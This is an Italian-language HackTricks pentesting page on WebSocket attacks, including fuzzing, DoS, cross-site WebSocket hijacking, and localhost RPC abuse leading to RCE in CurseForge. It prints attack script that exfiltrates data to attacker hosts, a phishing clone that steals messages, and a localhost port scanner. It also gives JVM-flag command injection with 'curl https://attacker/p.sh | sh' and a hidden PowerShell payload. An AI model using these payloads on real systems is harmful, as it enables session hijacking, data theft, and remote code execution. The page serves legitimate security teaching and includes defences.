WebSocket Attacks

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cosa sono i WebSockets

Le connessioni WebSocket vengono stabilite tramite un iniziale HTTP handshake e sono progettate per essere di lunga durata, consentendo messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Questo rende i WebSockets particolarmente vantaggiosi per applicazioni che richiedono bassa latenza o comunicazione iniziata dal server, come i flussi di dati finanziari in tempo reale.

Creazione delle connessioni WebSocket

A detailed explanation on establishing WebSocket connections can be accessed here. In sintesi, le connessioni WebSocket vengono di solito iniziate tramite JavaScript lato client come mostrato di seguito:

var ws = new WebSocket("wss://normal-website.com/ws")

Il protocollo wss indica una connessione WebSocket protetta con TLS, mentre ws indica una connessione non protetta.

Durante l’instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato nei seguenti esempi:

Il browser invia una richiesta di handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Risposta di handshake del server:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.

Punti chiave del WebSocket Handshake:

  • Gli header Connection e Upgrade segnalano l’inizio del WebSocket handshake.
  • L’header Sec-WebSocket-Version indica la versione del protocollo WebSocket desiderata, solitamente 13.
  • Un valore casuale codificato in Base64 viene inviato nell’header Sec-WebSocket-Key, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con proxy di caching. Questo valore non serve per l’autenticazione ma per confermare che la risposta non è generata da un server o una cache mal configurati.
  • L’header Sec-WebSocket-Accept nella risposta del server è un hash di Sec-WebSocket-Key, verificando l’intenzione del server di aprire una connessione WebSocket.

Queste caratteristiche assicurano che il processo di handshake sia sicuro e affidabile, preparando il terreno per una comunicazione in tempo reale efficiente.

Console Linux

Puoi usare websocat per stabilire una connessione raw con un WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

Oppure per creare un server websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

Se scopri che i client sono connessi a un HTTP websocket dalla rete locale in cui ti trovi potresti provare un ARP Spoofing Attack per eseguire un MitM attack tra il client e il server.
Una volta che il client sta cercando di connettersi a te puoi quindi usare:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

Puoi usare lo strumento https://github.com/PalindromeLabs/STEWS per scoprire, fingerprintare e cercare automaticamente vulnerabilities nei websockets.

Websocket Debug tools

  • Burp Suite supporta la comunicazione MitM di websockets in modo molto simile a quanto fa per la comunicazione HTTP regolare.
  • The socketsleuth Burp Suite extension ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la history, impostando interception rules, usando regole di match and replace, sfruttando Intruder e AutoRepeater.
  • WSSiP: Abbreviazione di “WebSocket/Socket.io Proxy”, questo strumento, scritto in Node.js, fornisce un’interfaccia per capture, intercept, send custom messages e per visualizzare tutte le comunicazioni WebSocket e Socket.IO tra client e server.
  • wsrepl è un interactive websocket REPL progettato specificamente per penetration testing. Offre un’interfaccia per osservare incoming websocket messages and sending new ones, con un framework facile da usare per automating questa comunicazione.
  • https://websocketking.com/ è una web per comunicare con altri web usando websockets.
  • https://hoppscotch.io/realtime/websocket tra gli altri tipi di comunicazioni/protocolli, fornisce una web per comunicare con altri web usando websockets.

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course trovi del codice per lanciare una web che usa websockets e in questo post puoi trovare una spiegazione.

Websocket Fuzzing

L’estensione di burp Backslash Powered Scanner ora permette di fuzzare anche i messaggi WebSocket. Puoi leggere più informazioni su questo qui.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder di PortSwigger porta scripting in stile Turbo Intruder in Python e fuzzing ad alta velocità ai WebSockets. Installalo dal BApp Store o dal sorgente. Include due componenti:

  • Turbo Intruder: invio di messaggi ad alto volume a un singolo endpoint WS usando motori custom.
  • HTTP Middleware: espone un endpoint HTTP locale che inoltra i body come messaggi WS su una connessione persistente, così qualsiasi scanner basato su HTTP può sondare i backend WS.

Pattern di script di base per fuzzare un endpoint WS e filtrare le risposte rilevanti:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Usa decorator come @MatchRegex(...) per ridurre il rumore quando un singolo messaggio scatena più risposte.

Collegare WS dietro HTTP (HTTP Middleware)

Avvolgi una connessione WS persistente e inoltra i body HTTP come messaggi WS per test automatici con HTTP scanner:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Quindi invia HTTP localmente; il body viene inoltrato come messaggio WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Questo ti permette di pilotare i backend WS mentre filtri gli eventi “interessanti” (ad es., errori SQLi, auth bypass, comportamenti di command injection).

Gestione di Socket.IO (handshake, heartbeats, events)

Socket.IO aggiunge un proprio framing sopra WS. Rilevalo tramite il parametro di query obbligatorio EIO (es., EIO=4). Mantieni la sessione attiva con Ping (2) e Pong (3) e avvia la conversazione con "40", poi emetti eventi come 42["message","hello"].

Esempio Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante adapter HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Rilevare la prototype pollution lato server via Socket.IO

Seguendo la tecnica di rilevamento sicura di PortSwigger, prova a inquinare gli interni di Express inviando un payload come:

{"__proto__":{"initialPacket":"Polluted"}}

Se i saluti o il comportamento cambiano (es., echo include “Polluted”), molto probabilmente hai inquinato i prototipi lato server. L’impatto dipende dai sinks raggiungibili; correlalo con i gadgets nella sezione Node.js prototype pollution. Vedi:

WebSocket race conditions with Turbo Intruder

Il motore di default accoda i messaggi su una singola connessione (ottimo throughput, scadente per i race). Usa l’engine THREADED per aprire più connessioni WS e inviare payloads in parallelo per innescare race logici (double‑spend, token reuse, state desync). Parti dallo script di esempio e regola la concurrency in config().

  • Approfondisci metodologia e alternative in Race Condition (vedi “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Crea frame WS il cui header dichiara una lunghezza payload enorme ma non inviare il body. Alcuni server WS si fidano della lunghezza e pre‑allocano buffer; impostarla vicino a Integer.MAX_VALUE può causare Out‑Of‑Memory e un DoS remoto non autenticato. Vedi lo script di esempio.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Abilita il WS Logger per catturare e correlare i messaggi usando ID interni.
  • Usa gli helper inc*/dec* su Connection per regolare la gestione degli ID messaggio in adapter complessi.
  • Decoratori come @PingPong/@Pong e helper come isInteresting() riducono il rumore e mantengono vive le sessioni.

Operational safety

Il fuzzing WS ad alta velocità può aprire molte connessioni e inviare migliaia di messaggi al secondo. Frame malformati e tassi elevati possono provocare un DoS reale. Usalo solo dove è consentito.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, noto anche come cross-origin WebSocket hijacking, è identificato come un caso specifico di Cross-Site Request Forgery (CSRF) che interessa gli handshake WebSocket. Questa vulnerabilità nasce quando gli handshake WebSocket si autenticano esclusivamente tramite HTTP cookies senza CSRF tokens o misure di sicurezza simili.

Gli attaccanti possono sfruttarla ospitando una malicious web page che inizializza una connessione WebSocket cross-site verso un’applicazione vulnerabile. Di conseguenza, questa connessione viene trattata come parte della sessione della vittima con l’applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione della sessione.

Affinché questo attacco funzioni, sono necessari i seguenti requisiti:

  • L’autenticazione WebSocket deve essere basata sui cookie
  • Il cookie deve essere accessibile dal server dell’attaccante (di solito significa SameSite=None) e non deve essere abilitato Firefox Total Cookie Protection in Firefox né il blocco dei blocked third-party cookies in Chrome.
  • Il server WebSocket non deve verificare l’Origin della connessione (o questa deve essere bypassabile)

Inoltre:

  • Se l’autenticazione si basa su una connessione locale (a localhost o a una rete locale) l’attacco will be possible poiché non esiste attualmente una protezione che lo proibisca (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Nei server Gorilla WebSocket, impostare CheckOrigin per restituire sempre true accetta handshake da qualsiasi Origin. Quando l’endpoint WS inoltre manca di autenticazione, qualsiasi pagina raggiungibile dal browser della vittima (Internet o intranet) può fare l’upgrade di un socket e iniziare a leggere/inviare messaggi cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impatto: esfiltrazione in tempo reale di dati in streaming (es., email/notifiche catturate) senza credenziali utente quando qualsiasi Origin è accettato e l’endpoint salta l’autenticazione.

Attacco semplice

Nota che quando si stabilisce una connessione websocket il cookie viene inviato al server. Il server potrebbe usarlo per associare ogni specifico user alla sua websocket session basata sul cookie inviato.

Quindi, se per esempio il websocket server restituisce lo storico della conversazione di un user quando viene inviato un msg con “READY”, allora una semplice XSS che stabilisce la connessione (il cookie verrà inviato automaticamente per autorizzare l’user vittima) inviandoREADY” potrà recuperare lo storico della conversazione.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In questo blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l’attaccante è riuscito a execute arbitrary Javascript in a subdomain del dominio in cui avveniva la comunicazione del web socket. Poiché era un subdomain, il cookie veniva sent, e poiché il Websocket didn’t check the Origin properly, era possibile comunicare con esso e steal tokens from it.

Rubare dati dall’utente

Copia l’applicazione web che vuoi impersonare (i file .html per esempio) e, all’interno dello script in cui avviene la comunicazione websocket, aggiungi questo codice:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Ora scarica il file wsHook.js da https://github.com/skepticfx/wshook e salvalo nella cartella con i file web.
Esponendo l’applicazione web e facendo connettere un utente ad essa sarai in grado di rubare i messaggi inviati e ricevuti via websocket:

sudo python3 -m http.server 80

Protezioni CSWSH

L’attacco CSWSH si basa sul fatto che un utente si connetterà a una pagina malevola che aprirà una connessione websocket verso una pagina web a cui l’utente è già connesso e si autenticherà per suo conto, dato che la richiesta invierà i cookie dell’utente.

Oggi è molto semplice prevenire questo problema:

  • Websocket server checking the origin: Il websocket server dovrebbe sempre verificare da dove un utente si sta connettendo per impedire a pagine inaspettate di connettersi.
  • Authentication token: Invece di basare l’autenticazione su un cookie, la connessione websocket potrebbe basarsi su un token generato dal server per l’utente e sconosciuto all’attaccante (come un anti-CSRF token).
  • SameSite Cookie attribute: I cookie con SameSite impostato su Lax o Strict non verranno inviati da una pagina esterna dell’attaccante al server della vittima; quindi l’autenticazione basata su cookie non avrà successo. Nota che Chrome ora imposta il valore Lax ai cookie privi di questa flag, rendendo questo comportamento più sicuro di default. Tuttavia, nei primi 2 minuti dalla creazione di un cookie esso avrà il valore None, rendendolo vulnerabile durante quel periodo limitato di tempo (si prevede inoltre che questa misura venga rimossa a un certo punto).
  • Firefox Total Cookie Protection: Total Cookie Protection isola i cookie nel sito in cui sono creati. Essenzialmente ogni sito ha il proprio storage di cookie separato per prevenire che terze parti colleghino la cronologia di navigazione di un utente. Questo rende il CSWSH inutilizzabile poiché il sito dell’attaccante non avrà accesso ai cookie.
  • Chrome third-party cookies block: Questo può anche impedire l’invio del cookie dell’utente autenticato al websocket server anche con SameSite=None.

Localhost WebSocket abuse & browser port discovery

I launcher desktop spesso avviano helper (per es., CurseAgent.exe di CurseForge) che espongono JSON-RPC WebSockets su 127.0.0.1:<random_port>. Il browser non applica SOP sui socket loopback, quindi qualsiasi pagina web può tentare l’handshake. Se l’agent accetta valori arbitrari di Origin e salta l’autenticazione secondaria, la superficie IPC diventa controllabile da remoto direttamente da JavaScript.

Enumerating exposed methods

Cattura una sessione legittima per conoscere il contratto del protocollo. CurseForge, per esempio, emette frame come {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} dove name è il metodo RPC e args contiene oggetti strutturati (GUID, risoluzione, flag, ecc.). Una volta nota questa struttura puoi invocare metodi come createModpack, minecraftGetDefaultLocation o qualsiasi altro task privilegiato direttamente da una pagina iniettata.

Browser-based port discovery

Poiché l’helper si lega a una porta alta casuale, l’exploit prima esegue brute-force su localhost tramite WebSockets. I browser basati su Chromium tollerano ~16k upgrade falliti prima del throttling, sufficiente per scandire l’intervallo effimero; Firefox tende a crashare o bloccarsi dopo poche centinaia di fallimenti, quindi i PoC pratici spesso prendono di mira Chromium.

Minimal browser scanner ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Una volta che una connessione supera lo handshake e restituisce dati specifici del protocollo, riutilizza quel socket per la catena RPC.

Concatenazione di metodi JSON-RPC per ottenere RCE

L’exploit CurseForge concatena due chiamate non autenticate:

  1. createModpack → restituisce un nuovo MinecraftInstanceGuid senza interazione dell’utente.
  2. minecraftTaskLaunchInstance → avvia quel GUID accettando flag JVM arbitrari tramite AdditionalJavaArguments.

Le opzioni diagnostiche JNI/JVM forniscono quindi una primitiva RCE pronta all’uso. Per esempio, limitare la metaspace per forzare un crash e sfruttare l’error hook per l’esecuzione di comandi:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Su target Unix basta sostituire il payload con /bin/sh -c 'curl https://attacker/p.sh | sh'. Questo funziona anche quando non puoi modificare il codice dell’applicazione — controllare la JVM CLI è sufficiente.

Questo pattern “create resource → privileged launch” appare spesso in updaters e launchers. Ogni volta che il metodo (1) genera un identificatore tracciato dal server e il metodo (2) esegue codice o avvia un processo con quell’identificatore, verifica se è possibile iniettare argomenti controllati dall’utente.

Race Conditions

Race Conditions in WebSockets sono anch’esse un problema, consulta queste informazioni per saperne di più.

Altre vulnerabilità

Poiché Web Sockets sono un meccanismo per inviare dati al server e al client, a seconda di come server e client gestiscono le informazioni, Web Sockets possono essere usati per sfruttare diverse altre vulnerabilità come XSS, SQLi o qualsiasi altro web vuln comune usando l’input di un utente da un websocket.

WebSocket Smuggling

Questa vulnerabilità potrebbe consentire di bypassare le restrizioni dei reverse proxies facendo loro credere che sia stata stabilita una websocket communication (anche se non è vero). Questo potrebbe permettere a un attacker di accedere a endpoint nascosti. Per maggiori informazioni consulta la pagina seguente:

Upgrade Header Smuggling

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks